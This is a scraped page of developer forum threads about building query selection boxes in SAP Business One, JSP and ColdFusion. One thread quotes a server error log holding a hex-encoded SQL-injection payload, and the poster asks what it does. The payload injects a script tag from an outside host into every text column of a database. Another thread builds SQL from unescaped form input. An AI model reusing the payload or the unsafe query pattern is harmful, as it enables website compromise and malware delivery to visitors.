Query Selection Box Descriptions

When I set up selections options in the 'WHERE' statement the selection fields default to standard text such as:
Posting Date                          Greater or equal
Posting Date                          Smaller or equal
Description in Foreign Lang.
Is there a way I can change the standard text to custom text??
Cheers,
Robin

The system always asks with the description of the field you refer to with the parameter variable in the select statement.
I sometimes defined a UDT only for getting the appropriate title in the parameter entering window. The table has no data; I used it only for its field names.
Sorry, somehow I duplicated the message
Edited by: István K#rös on Jan 11, 2011 1:13 PM

Similar Messages

  • Check box in SAP Query selection screen

    I want to keep 2 check box in SAP Query selection screen.
    could you please tell me any one.
    regards,
    kumar

    Hi Vijay,
    If these check boxes are the fields in the table you are using then you can do it in SQ01, otherwise you may required to make the changes in the standard code generated for that query.
    You can find the name of the generated program of the query when you execute the query.
    Reward points if useful.
    Regards,
    Atish

  • Help with building a select box from a query?

    New thread from a topic I started yesterday. From the responses, and a search of other threads, I realized that I was way off base:-) So, I went back and verified that my TomCat setup was alright. After a few tweeks I verified that I could display the index page and successfully run all of the example servlets and jsps. I then built a simple login.jsp and an associated bean to verify a user id and password on an ldap db. That works good. Next, I built a bean which runs a query against the same ldap db and returns a list of last names. What I want to do is use the last names in the bean to populate my select box. At first I was trying to build the html with the list from my bean, i quickly realized you guys didn't like that approach. So, can someone explain, in some detail (because I'm really dense), just how I can return the values from my bean and build a select box with those values.
    regards,
    Mat
    BTW Gone to see Lord of The Rings...back in about 5 hours :-)

    Just in general, I prefer knowing how to do things the "old-fashioned way" first before using other tools, because if it comes time for you to take over someone else's code, you'll probably find that they did it the old way and you'll want to understand that. Further, the new ways are based on the old ways for many things.
    Struts is a good system, but unless you have some understanding of the basics, it's probably going to be harder to understand it. If you have the time, I'd say at least go thru one book on JSP/servlets (which should be all about the basics, maybe a slightly older book) and go thru the examples in it.

  • Pre-populate select box causing query error

    Referring to this thread
    http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56335#305025
    I wanted to pass a value to a dynamic select box (in a url),
    so I changed this:
    <option value="'#SITEID#'" selected=#sid#>
    to this:
    <option value="#SITEID#"<cfif SITEID EQ sid>
    selected="selected"</cfif>>
    and now get "Error Executing Database Query...... Too few
    parameters. Expected 1."
    The query:
    SELECT <CFLOOP list="#form.parameters#"
    index="i">sitedata.#i#,</CFLOOP>
    site.coordinates_n, site.coordinates_w,
    sitedata.monitordate, site.name,
    site.siteid
    FROM site INNER JOIN sitedata
    ON site.siteid = sitedata.siteid
    WHERE sitedata.SITEID IS NOT NULL
    <CFIF form.siteid gt "">AND sitedata.SITEID in
    (#PreserveSingleQuotes(form.siteid)#)</CFIF>
    <CFIF startdate gt "" AND enddate gt "">AND
    sitedata.monitordate >=
    #startdate# and sitedata.monitordate <=
    #enddate#</CFIF>
    <CFIF startdate gt "" AND enddate is "">AND
    sitedata.monitordate >=
    #startdate#</CFIF>
    ORDER BY sitedata.monitordate, sitedata.siteid
    I admit I'm not a CF or SQL expert! I'm guessing it has
    something to do
    with the cfloop. Hoping this is something simple I've
    overlooked...
    TIA

    CFQUERYPARAM caught the following attempt at SQL Injection.
    Would someone please explain what they were trying to do?
    best, paul
    On Tue, Jul 22, 2008 at 7:17 AM, <[email protected]>
    wrote:
    > cgi.content_length
    > cgi.http_accept*/*
    > cgi.http_referer
    > cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0;
    Windows NT 5.1; SV1)
    > cgi.path_info/index.cfm
    >
    cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
    >
    cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D333 5206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437 572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205 B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736 372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C2 12D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 04320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
    > cgi.remote_addr220.191.251.211
    > cgi.remote_host220.191.251.211
    > cgi.remote_ident
    > cgi.remote_user
    > cgi.server_port80
    > cfcatch.detail
    > cfcatch.messageInvalid data 2168;DECLARE @S
    CHAR(4000);SET
    >
    @S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2...
    > for CFSQLTYPE CF_SQL_INTEGER.
    > cfcatch.typeDatabase
    > server.coldfusion.productnameColdFusion Server
    > server.coldfusion.productversion7,0,2,142559
    > server.os.nameWindows 2003
    > server.os.version5.2
    > server.os.buildnumber

  • Query selection criteria - changing description field..?

    Hi Experts,
    i want to change description filed in user query selection criteria form..
    i have 3 fileds  :
    docdate - this filed i want to chage 'Document First'
    docdate - This filed i want to change 'Document Last'
    name -
    my problem: screenshot
    [Click Here|http://img638.imageshack.us/img638/3466/userqueris.jpg]

    The system always asks with the description of the field you refer to with the parameter variable in the select statement.
    I sometimes defined a UDT only for getting the appropriate title in the parameter entering window. The table has no data; I used it only for its field names.
    (The parameter request can be placed inside a comment and the entered value is used setting an SQL variable like this:
    declare @d datetime
    /*select t.createdate from ordr t where t.createdate=[%0]*/
    set @d=[%0]
    This SQL variable can be used later in the real query.)
    (But then you loose the possibility to choose from the u2018List of existing valuesu2019

  • How to do it?? in SELECT BOX

    here is the bean class sample code of getting the result set from
    database
    public void setMembers2()
    String query1="select e.idcode from employee e,wb_login w where e.idcode=w.idcode ";
    stmt1=conn1.createStatement();
    rs1=stmt1.executeQuery(query1);
    System.out.println("Executed query");
    if(rs1.next())
    do{
    id=rs1.getString(1);
    System.out.println("THE IDCODE IS JAVA "+id);
    setId_code(id);
    } while(rs1.next());
    else
    System.out.println("THE IDCODES ");
    here is the sample code in jsp i have to populate the Idcode's in SELECT BOX
    <select name="idcode" size="1" >
    <%
    String str1="";
    promotionbn.setMembers2();
    str1=promotionbn.getId_code();
    System.out.println("THE IDCODE IN JSP PAGE IS "+str1);
    %>
    <option value="<%=str1%>"> <%=str1%>
    </select>
    But in the select box priniting only one record.........

    Hey,
    Where are u defining the get/set methods method ??. The code u gave is not very clear. Acording to what u gave below it will surely print only one record probably the last one.
    KM
    here is the bean class sample code of getting the
    result set from
    database
    public void setMembers2()
    String query1="select e.idcode from employee
    e,wb_login w where e.idcode=w.idcode ";
    stmt1=conn1.createStatement();
    rs1=stmt1.executeQuery(query1);
    System.out.println("Executed query");
    if(rs1.next())
    do{
    id=rs1.getString(1);
    System.out.println("THE IDCODE IS JAVA
    CODE IS JAVA "+id);
    setId_code(id);
    } while(rs1.next());
    else
    System.out.println("THE IDCODES ");
    here is the sample code in jsp i have to populate the
    Idcode's in SELECT BOX
    <select name="idcode" size="1" >
    <%
    String str1="";
    promotionbn.setMembers2();
    str1=promotionbn.getId_code();
    System.out.println("THE IDCODE IN JSP PAGE IS
    "+str1);
    %>
    <option value="<%=str1%>"> <%=str1%>
    </select>
    But in the select box priniting only one
    record.........

  • Multi-Select Box Not Displaying Values Passed From Grid?

    Coldfusion 8
    I inherited an application and am trying to maintain and improve it... hit a snag today.
    I have a multi-select box that is not displaying what I expect.  The values come from a ColdFusion grid which is based off a database query.
    Here is the code for the select - does not work - nothing is selected:
    <cfselect name="USER_IDS" multiple="true" queryposition="below" selected="USER_IDS" query="ActiveUsersPlus" disabled="#disabled#" value="G_USER_WORK_UNIT_SK" display="G_USER_ID" >
    </cfselect>
    Now if I change the multiselect to a single select like below - it takes the first item in the field list (from the grid) and selects it in the drop down.
    <cfselect name="USER_IDS" multiple="false" queryposition="below" selected="USER_IDS" query="ActiveUsersPlus" disabled="#disabled#" value="G_USER_WORK_UNIT_SK" display="G_USER_ID" >
    </cfselect>
    Or if I assign a variable like this and use the multi-select code it seems to work as well.
    testlist = "22,26";
    <cfselect name="USER_IDS" multiple="true" queryposition="below" selected="#testlist#" query="ActiveUsersPlus" disabled="#disabled#" value="G_USER_WORK_UNIT_SK" display="G_USER_ID" >
    </cfselect>
    I have displayed the value of "User_IDs" in the grid and in the data entry part of the screen to see values of:  22,26
    to make sure that wasn't my issue.
    Do grids and multiselects require something additional?  Any advice on how to resolve?

    Problem was related to some javascript for the select box.  There was a function for a single select box but not a multiple select box - this fixed it: 
    if(theForm.elements[i].type == "select-multiple"){
                        var selectBox = theForm.elements[i];
                        var sbname = selectBox.name;
                        cpvalue = String(eval('record.data.' + sbname));
                        var NotifyArray = cpvalue.split(',');
                        for (var j=0; j < selectBox.length; j++) {
                            selectBox[j].selected = false;
                        for (var j=0; j < selectBox.length; j++) {
                            sbvalue = selectBox[j].value;
                            for (var k=0; k < NotifyArray.length; k++){
                                if (sbvalue == NotifyArray[k]){
                                    selectBox[j].selected = true;

  • Getting the MDX query select error when running a webi report on BI query

    Getting the following error when running a webi report on BI query :
    A database error occured. The database error text is: The MDX query SELECT  { [Measures].[D8JBFK099LLUVNLO7JY49FJKU] }  ON COLUMNS , NON EMPTY [ZCOMPCODE].[LEVEL01].MEMBERS ON ROWS FROM [ZTEST_CUB/REP_20100723200521]  failed to execute with the error Unknown error. (WIS 10901).
    I have gone through many threads related to this error. But not able find the steps to follow for resoultion.
    Please help in this regard.
    Thanks,
    Jeethender

    The Fix Pack is also for Client Tools--it is a separate download.  Please see the text below for ADAPT01255422
    ADAPT01255422
    Description:
    Web Intelligence generates an incorrect MDX statement when a characteristic and a prompt are used.
    The following database error happens: "The MDX query ... failed to execute with the error
    Unknown error (WIS 10901)."
    New Behavior:
    This problem is resolved.
    This information is also available in the Fixed Issues document for any Fix Pack greater than 2.2.

  • How to populate optional items in SELECT BOX

    // REGISTRATION.JSP//
    <%@ page import="java.util.Enumeration" %>
    <%@ page import="java.util.Vector" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.lang.*" %>
    <%@ page import="java.sql.*" %>
    <%@ page import="beans.register2" %>
    <jsp:useBean id="registerbn" scope= "session" class="beans.register2" />
    <% String base = (String) session.getAttribute("base");
    registerbn.setDburl((String)session.getAttribute("dbUrl"));
    registerbn.setDbuser((String)session.getAttribute("dbUserName"));
    registerbn.setDbpasswd((String)session.getAttribute("dbPassword"));
    System.out.println("Inside jsp - setMembers of promotion successful");
    registerbn.setMembers();
    System.out.println("after setting");
    %>
    <%
    String action=request.getParameter("action");
    %>
    <HTML>
    <HEAD>
    <TITLE> TIFR INTRANET </TITLE>
    </HEAD>
    <HEAD>
    <script language="_JavaScript1.2">
    function isIdcode()
    / validating
    function isUser()
    / validating
    function isEmail()
    / validating
    function isPassword()
    / validating
    function isDob()
    / validating
    </javascript> -----java script ends here----------------
    <TD align="top" valign="top"><jsp:include page="menu.jsp" flush="true"/>
    </td>
    <td>
    <table cellpadding="2" cellspacing="3" width="40%">
    <form method="post" action="./beans.register2">
    Fisrt question: we have creaated "register2.java "as beans class for setting the values in to the data base.
    is it correct ?
    <td width="40" align="center"
    <font face="arial" size="5" align="right">
    <b>
    Registration <hr> </hr>
    </b>
    </font>
    <br>
    </td>
    <tr valign="center" width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">IdCode </b> </font>
    </td>
    <td width="40%">
    <b><font face="Arial" size="2">
    <input type="text" name="idcode" size="6" style="border-style:solid" value="">
    </font></b>
    </td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">User </font></B></td>
    <td width="40%">
    <input type="text" name="user" size="12" style="border-style: solid" value="">
    </font></b></td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">Password </font></B></td>
    <td width="40%">
    <input type="password" name="password" size="25" tabindex="20" style="border-style: solid" width="12" value="">
    </font></b></td>
    </tr>
    <tr width="80%">
    <td width="40%">
    <b><font face="Arial" size="2">Section code </font></b></td>
    <td width="40%">
    <select size="1" name="section_code" tabindex="9"
    style="border-style: solid">
    <%@ include file="section.txt" %>
    Secound question:
    // inclided simple .txt file here
    // what if new item get enlisted in the database , we have to countinuesly update this .txt file ? so we head for creating simple beans class for retriving values
    then displaying in the SELECT box
    // we dont know how to do it.
    //other html tags //
    ----------------at end -----------------
    <input type="Submit" value="Submit" name="B1" > </td>
    <td width="40%">
    <input type="reset" value="Reset" name="B2"></td>
    <%
    String action=request.getParameter("Submit");
    if(action!=null && action.equals("Submit"))
    try{
    String idcode=request.getParameter("idcode");
    String user=request.getParameter("user");
    String password=request.getParameter("password");
    String seccode=request.getParameter("section_code");
    String Category=request.getParameter("Category");
    String BCategory=request.getParameter("BCategory");
    String Bheads=request.getParameter("Bheads");
    String OtherCategory=request.getParameter("OtherCategory");
    String email=request.getParameter("email");
    String day=request.getParameter("day");
    String month=request.getParameter("month");
    String year=request.getParameter("year");
    String Dob=day+"/"+month+"/"+year;
    String day1=request.getParameter("day1");
    String month1=request.getParameter("month1");
    String year1=request.getParameter("year1");
    String Doj=day1+"/"+month1+"/"+year1;
    registerbn.setIdcode("idcode");
    registerbn.setUser("user");
    registerbn.setPassword("password");
    registerbn.setSec_code("seccode");
    registerbn.setCategory("Category");
    registerbn.setBut_Category("BCategory");
    registerbn.setBut_heada("Bheads");
    registerbn.setOther_Category("OtherCategory");
    registerbn.setemail("email");
    registerbn.setDob("Dob");
    registerbn.setDoj("Doj");
    registerbn.saveData();
    /// saveData() is the one method where we are wrintn query to insert in to database//
    }catch(Exception ex)
    out.println("ERROR :has occured ");
    %>
    </table>
    </table>
    </table>
    </form>
    </td>
    </tr>
    <jsp include page="Footer.jsp" flush="true"/>

    To do that you have to get your recordset, and insert option tags into a while cicle. Something like this:
    <select name="mySelectName">
    <%while(myRecordSet.next()){%>
    <option value="<%=myRecordset.getObject(myField1)>"><%=myRecordset.getObject(myField2)%></option>
    <%}%>
    </select>

  • Multiple Select boxes in one form

    Does anyone know if it is possible to have multiple select
    boxes inside one form? I have six different select boxes that are
    generated by six separate queries. The action page for all six
    select boxes is the same so I just want one submit button so users
    don't get confuse. I don't want to cluster up the page with submit
    buttons but I may resort to that option.
    My problem is the select boxes generate a number and when
    that number is submitted I want to pass two other variables with it
    to the action page. I tried putting a "Form" tag around the 6
    select boxes. Inside each select box I tried to add an "Input
    type="hidden"" and give thte name and values that I needed. That
    worked for the first select box but when I tried the second select
    box it used the hidden values for the first select box.
    If anyone can help, I would greatly appreciate it. Or if you
    have any other suggestions I am open to any.
    Thanks

    Paross1,
    I wasn't thinking about that and you gave me a great idea.
    Here is how I changed my select boxes.
    <cfform
    action="Resolution_History.cfm?year=#year#&sessiontype=#sessiontype#&btype=res"
    name="form">
    <select name="SRINPUT">
    <option value="">SR
    <CFOUTPUT Query="findSR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <select name="HRINPUT">
    <option value="">HR
    <CFOUTPUT Query="findHR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <select name="SCRINPUT">
    <option value="">SCR
    <CFOUTPUT Query="findSCR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <br>
    <select name="HCRINPUT">
    <option value="">HCR
    <CFOUTPUT Query="findHCR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <select name="SJRINPUT">
    <option value="">SJR
    <CFOUTPUT Query="findSJR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <select name="HJRINPUT">
    <option value="">HJR
    <CFOUTPUT Query="findHJR"><Option
    Value="#BILLNUMBER#">#BILLNUMBER#</cfoutput>
    </select>
    <INPUT TYPE="Submit" VALUE="Submit" alt="submit
    button">
    </cfform>
    On the action page I need the below IF statement to work so
    it will set the variables. It isn't working at this time. Its not
    bringing the values of billnumber, houseorig or the billtype.
    Do you have any thoughts? I know it is close. I need to set
    all of the inputs to input4 to generate my queries.
    <cfif form.srinput gt 0>
    <cfset houseorig eq "s">
    <cfset billtype eq "r">
    <cfset srinput eq input4>
    <cfelseif form.hrinput gt 0>
    <cfset houseorig eq "h">
    <cfset billtype eq "r">
    <cfset hrinput eq input4>
    <cfelseif form.scrinput gt 0>
    <cfset houseorig eq "sc">
    <cfset billtype eq "r">
    <cfset scrinput eq input4>
    <cfelseif form.hcrinput gt 0>
    <cfset houseorig eq "hc">
    <cfset billtype eq "r">
    <cfset hcrinput eq input4>
    <cfelseif form.sjrinput gt 0>
    <cfset houseorig eq "sj">
    <cfset billtype eq "r">
    <cfset sjrinput eq input4>
    <cfelse>
    <cfset houseorig eq "hj">
    <cfset billtype eq "r">
    <cfset hjrinput eq input4>
    </cfif>

  • How to update database with a select box

    I'm hoping someone can/will help me with a new feature I'm
    trying to add to my web site. I'll summarize what I'm working with
    and then proceed to what I'd like to do. This is the web site I'm
    working on: www.truckerstoystore.net
    I have a database for the Truck of the Week set up with the
    information that is output on each page in the left column and
    on the Truck of the week page itself. I add new Truck of the
    Week (TOW) entries via a form I've put together. Right now, in
    order to change the current TOW, I have to manually go into my
    template and change the ID (which is automatically assigned when
    the record is created, and thus makes it unique) in my SQL which
    currently reads
    SELECT *
    FROM truckofweek
    WHERE ID="4"
    to the ID of the current TOW.
    What I want to be able to do is create a new form that will
    allow me to select the TOW entry that I want to be displayed from a
    select box (drop down box). I have a good idea of how to populate
    my select box, but don't know how to get it to work. My first idea
    was to update the table in the database (Access) manually with a
    new column called currentTOW, with values set to a Yes/No type,
    with default values set to "No". Then I would use my form to set
    the value for one of them to "Yes" so I could set my SQL to 'WHERE
    currentTOW ="yes" ' I would also make a <cfif> statement that
    checks for entries marked "Yes" and changes them to "No" when the
    form loads to avoid setting 2 entries to "Yes" and my page thus
    attempting to load 2 TOW entries.
    My problem is, I don't know how to do any of this. I hope
    I've described this situation well enough. I know there has to be
    at least one guru on here that can help me. Any assistance would be
    greatly appreciated.

    Hey,
    Thanks for replying. That sounds like a good idea, but I
    don't know how to do it.
    I started working on a new idea, where I have a second table
    in the same datasource set up called currentTOW, with one field
    called currentTOW and only one record. The idea is to send the
    string of the "owner" field from the select box, which is populated
    from the table called truckofweek to this one cell in the
    currentTOW table.
    This way, in my page which will display the data, I have 2
    querys. The first pulls the data in the single cell from currentTOW
    and outputs its string into the second query. I've attached the
    code below. I get an error when I try to display the page, see the
    error here:
    www.truckerstoystore.net/currentTOW2.cfm.
    However, the SQL looks like I want it to look, as "WHERE Owner =
    Craig Carp" is essentially the same record that it displays now in
    the live page "/currentTOW.cfm" only the SQL currently reads "WHERE
    ID = 4" (4 and Craig Carp are part of the same record).
    Here is the link to my form:
    Form

  • Selection box not working

    i was asked to edit some code
    one of the selection boxes wasnt working and was not updating
    the db at all
    here is the code snippet
    <!--- the CFC code being called
    this basically puts together the values which are valid for
    display in the selection box
    then returns it to the invoker
    --->
    <CFFunction name = "Sel_SpecifiedDateFlag" output =
    "false" returntype = "string" access = "public">
    <!--- 引数の定義 --->
    <CFArgument name = "prm_SelID" required = "true">
    <CFSet res1 = "">
    <!---
    コンボリストのID設定(一元管理)--->
    <cfset id = 8>
    <CFQuery name = "query1" datasource = "#APP_DB_DSN#">
    select code , COALESCE(code::text,'') || ':' ||
    COALESCE(name,'') as name
    from tblpmdsetcomblist
    where valid_flag = 1
    and id = #id#
    order by sort,code
    </CFQuery>
    <CFQuery name = "query2" datasource = "#APP_DB_DSN#">
    select code from tblpmdsetcomblist
    where valid_flag = 1
    and id = #id#
    and default_flag = 1
    </CFQuery>
    <!---
    念のため、デフォルト確認
    --->
    <CFIf query2.RecordCount NEQ 1>
    <CFReturn "<font
    color='red'><strong>リストテーブルデフォルトエラー</strong></font>">
    </CFIf>
    <!---
    prm_SelIDがNullの時のデフォルトを設定
    --->
    <CFIf prm_SelID eq "">
    <CFSet prm_SelID = #query2.code#>
    </CFIf>
    <CFLoop Query="query1">
    <CFSet res1 = res1 & "<OPTION Value='#code#'">
    <CFIf Compare(code , prm_SelID) eq 0>
    <CFSet res1 = res1 & " SELECTED">
    </CfIf>
    <CFSet res1 = res1 & ">">
    <CFSet res1 = res1 & #name#>
    <CFSet res1 = res1 & "</OPTION>#chr(10)#">
    </CFLoop>
    <CFReturn res1>
    </CfFunction>
    <!--- this is the code that invokes the CFC code above and
    displays it as well
    --->
    <CFInvoke Component="component.selbox"
    Method="Sel_Plusoneflag" ReturnVariable="getstr">
    <CFInvokeArgument name="prm_SelID"
    Value="#plus_one_flag#">
    </CFInvoke>
    <select name="plus_one_flag" Size=1>
    <CFOutput>#getstr#</CFOutput>
    </select>
    <!--- this is what #getstr# looks like when viewed via
    page source viewer
    --->
    <select name="plus_one_flag" Size=1>
    <OPTION Value='0'
    SELECTED>0:プラフワン不可</OPTION>
    <OPTION
    Value='1'>1:プワスワン可</OPTION>
    </select>
    i checked all the sources of the problem which are obvious to
    me but found none :(
    btw the ascii characters in the code are japanese characters
    if youre not seeing them properly

    in the code you posted there is no code for updating the
    db...
    plus:
    >
    > <CFQuery name = "query1" datasource =
    "#APP_DB_DSN#">
    > select code , COALESCE(code::text,'') || ':' ||
    COALESCE(name,'') as name
    > from tblpmdsetcomblist
    > where valid_flag = 1
    > and id = #id#
    > order by sort,code
    > </CFQuery>
    there is no 'sort' column pulled from the db or aliased by
    that name as
    it appears in the order by clause in the query above...
    > <!--- this is the code that invokes the CFC code
    above and displays it as well
    > --->
    >
    > <CFInvoke Component="component.selbox"
    Method="Sel_Plusoneflag"
    > ReturnVariable="getstr">
    you did not post any code for the 'Sel_Plusoneflag' function
    in your
    cfc... did you post a wrong function or should you change the
    method's
    name in the cfinvoke?
    >
    > i checked all the sources of the problem which are
    obvious to me but found
    > none :(
    and what's the actual problem you are facing? the select box
    still not
    working (HOW is it not working? - not displaying/displaying
    wrong data?)
    or something else?
    Azadi Saryev
    Sabai-dee.com
    http://www.sabai-dee.com

  • Putting ResultSet data into select boxes

    I am running a query, and returning the data to a JSP which in turn, places the query data into 3 different select boxes. Each of these three select boxes will contain a different number of values. The query is as follows:
    partQuestionList="SELECT DISTINCT carMake, carModel, partTypeName FROM PARTTYPE, CARSPARTAVAIL";
    Hence, I have three select boxes to display the three types of data. I assume I will need to use a loop of some kind. What is the best way to accomplish this without having code all over the place? Also, what is the best way to make these distinct? Thanks.

    By the way..here is the code I have so far...
    while(rs.next()){
         carMake.add(rs.getString("carMake"));
         carModel.add(rs.getString("carModel"));
         //carYear.add(rs.getInt("carYear"));
         partTypeName.add(rs.getString("partTypeName"));
         <SELECT name="Model">
              <% for (int x = 0; x<carModel.size(); x++) { %>
              <OPTION><%=carModel.get(x) %></OPTION>
                   <% } %>
         </SELECT>
    Which will obviously work, but doesnt get rid of the duplicates..

  • 3 cfgrids on one page.  Columns from grid 1,2 and 3 are swapping the first select box from each grid.

    ColdFusion 11, hot fix 3 installed but did not help. There are no binds.
    This one has been driving me crazy and I have finally figured out that it is the first column in each grid where there is a select box via "valuesdisplay" that is the issue. Select box results are switching grids!
    Example of how it is coded to display:
    Grid 1 - gridcolumn should have a dropdown with 1,2,3
    Grid 2 - gridcolumn should have a dropdown with a,b,c
    Grid 3 - gridcolumn should have a dropdown with x,y,z
    However, the results in the dropdowns in the grids are:
    Grid 1 - x,y,z (should be 1,2,3)
    Grid 2 - 1,2,3 (should be a,b,c)
    Grid 3 - a,b,c (should be x,y,z)
    This only happens with the first dropdown for each grid. Any other columns with dropdowns do not have any issues and do not swap out to the wrong grid.
    Sample of my code from the grids:
    Grid 1:
    <cfgrid name = "evalgrid"
      height="200"
      autowidth="no"
      font="arial" fontsize="12"
      query = "getevalfinal"
      SORT="Yes"
      selectmode="edit"
      format="html"
      insert="yes"
      delete = "#deletevalue#">
      <CFGRIDCOLUMN NAME="numberofschools" HEADER="numberofschools"
      HEADERALIGN="LEFT" DATAALIGN="LEFT"
      BOLD="Yes" ITALIC="No"
      SELECT="Yes" DISPLAY="Yes"
      HEADERBOLD="Yes" HEADERITALIC="No"
      VALUES = " ,NA,1,2,D"
      VALUESdisplay = "Blank,NA,1,2,D" valuesDelimiter=","
      width=50>
    </cfgrid>
    Second Grid:'
    <cfgrid name = "SecondGrid"
      height="100" width="700"
      font="arial" fontsize="12"
      query = "getsecurity"
      SORT="Yes"
      selectmode="edit"
      format="html"
      insert="yes"
      delete = "#deletevalue#"
      autowidth="yes"
      >
      <CFGRIDCOLUMN NAME="userrole" HEADER="userrole"
      HEADERALIGN="LEFT" DATAALIGN="LEFT"
      BOLD="Yes" ITALIC="No"
      SELECT="Yes" DISPLAY="Yes"
      HEADERBOLD="YES" HEADERITALIC="No"
      VALUES = "#olduserrole#"
      VALUESdisplay = "#olduserrole#" valuesDelimiter=","
      WIDTH=300
      font="arial" fontsize="12">
    </cfgrid>
    In the above code, userrole values end up being in the wrong grid where numberofschools values should be and vice versa.
    Appreciate any help!
    B.

    You may find this article useful: [http://balusc.blogspot.com/2007/10/populate-child-menus.html].

  • How disable smartcut  section select box? Wayne help needed!

    Dear friends
    I disable smartcut section select box with Toolbar=Navigation parameter in link
    http://localhost:45000/workspace/browse/get/KursHYP2008/siyavus/BimR.bqy&user=admin&pass=password&Toolbar=Navigation
    but when I login in LoginDash and activate another section, the section select box is activated on menu again!
    regards

    Can you be a little more descriptive on what you need here and explain what exactly you want to be changed.

Maybe you are looking for

  • Passing the values from one selection screen to another report

    Hi all, This is my requirement... I need to hav a selection screen with various input parameter along with 3 radio buttons... If i enter the values and select say first radiobutton the corresponding called program needs to be executed . NOTE : 1)The

  • Acrobat Pro vs Reader

    1. Where does Adobe describe the compatibility (or lack thereof) between Reader and Acrobat? 2. Problem History a. On Win7-64, had Adobe Reader (v9?). Worked fine as app or from browser. b. Then installed Acrobat 9 Pro Extended with Pro 9 Extended as

  • Make Flash player window full screen automatically, when it's opening

    Hi, all. It's today I joined Adobe forums so, I don't know much about community guidlines and functionality here. So, pardon me if I do any mistake or something. This is my problem... I'm creating an interface with Adobe Flash Catalyst and I want it

  • Centralised payment system

    Hi, Can anyone guide to set APP. My client has 8 company codes. Most of them having the same vendors. They would like to make payment only from one entity for the combined outstading from all the company codes for a particular vendor by way of one ch

  • User status for purchase requisition

    Dear all, I have a basic question. I have created a status profile using transaction BS02. Now I want to apply that to purchase requisition. However I could not find any way to assign it to the PR (specially in PR document type). Request your inputs